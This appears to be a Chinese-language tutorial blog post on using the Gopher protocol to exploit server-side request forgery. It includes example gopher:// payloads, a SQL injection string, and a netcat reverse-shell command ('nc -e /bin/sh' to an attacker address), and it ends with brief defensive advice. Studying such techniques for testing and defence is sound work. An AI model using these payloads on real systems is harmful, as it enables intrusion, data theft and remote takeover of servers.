服务器端请求伪造(SSRF)是一种隐蔽且危险的安全漏洞,它允许攻击者欺骗服务器向其他服务器发送请求,从而访问或控制未经授权的系统。Gopher 协议作为 SSRF 漏洞利用的利器,可以帮助攻击者突破网络限制,实现更高级的攻击目标。
Gopher 协议简介
Gopher 是一种在 HTTP 协议之前非常流行的信息查找系统,虽然现在已经被 HTTP 协议取代,但在 SSRF 漏洞利用中仍然发挥着重要作用。Gopher 协议可以将 HTTP 请求转换为 TCP 数据流,从而突破一些网络限制,例如防火墙。
Gopher 语法演示
Gopher 协议的语法格式如下:
gopher://<host>:<port>/<gopher-path>_后面接 TCP 数据流
其中,<host>
是目标服务器的域名或 IP 地址,<port>
是目标服务器的端口,<gopher-path>
是目标服务器的路径,_
是 Gopher 协议的结束标志,后面接 TCP 数据流。
例如,假设攻击者想要访问目标服务器的 /index.html
页面,可以构造如下 Gopher 协议请求:
gopher://target.com:80/_GET /index.html HTTP/1.1
Gopher 发送 GET/POST 请求
Gopher 协议可以用来发送 GET 或 POST 请求,从而访问目标服务器上的资源或执行操作。
发送 GET 请求:
攻击者可以构造如下 Gopher 协议请求,向目标服务器发送 GET 请求:
gopher://target.com:80/_GET /index.html HTTP/1.1
Host: target.com
发送 POST 请求:
攻击者可以构造如下 Gopher 协议请求,向目标服务器发送 POST 请求:
gopher://target.com:80/_POST /index.html HTTP/1.1
Host: target.com
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
name=value
Gopher 协议对内网 Web 服务进行 sql 注入
攻击者可以利用 Gopher 协议对内网 Web 服务进行 sql 注入攻击。例如,假设攻击者发现目标内网 Web 服务存在 sql 注入漏洞,可以构造如下 Gopher 协议请求,向目标内网 Web 服务发送 sql 注入请求:
gopher://target.com:80/_GET /login.php?id=1' UNION SELECT 1, user(), database() -- HTTP/1.1
Host: target.com
通过命令注入反弹 shell
攻击者可以利用 Gopher 协议通过命令注入反弹 shell,从而控制目标服务器。
例如,假设攻击者发现目标服务器存在命令注入漏洞,可以构造如下 Gopher 协议请求,向目标服务器发送反弹 shell 请求:
gopher://target.com:80/_POST /cmd.php HTTP/1.1
Host: target.com
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
cmd=nc -e /bin/sh 192.168.1.1 4444
总结
Gopher 协议作为 SSRF 漏洞利用的利器,可以帮助攻击者突破网络限制,实现更高级的攻击目标。为了防止 SSRF-gopher 协议漏洞,需要对用户输入进行严格的校验,并使用安全的编码和解码库。此外,还需要定期进行安全测试,及时发现并修复 SSRF-gopher 协议漏洞。
标签:协议,请求,SSRF,gopher,Gopher,利器,攻击者,com From: https://blog.csdn.net/weixin_43822401/article/details/139590006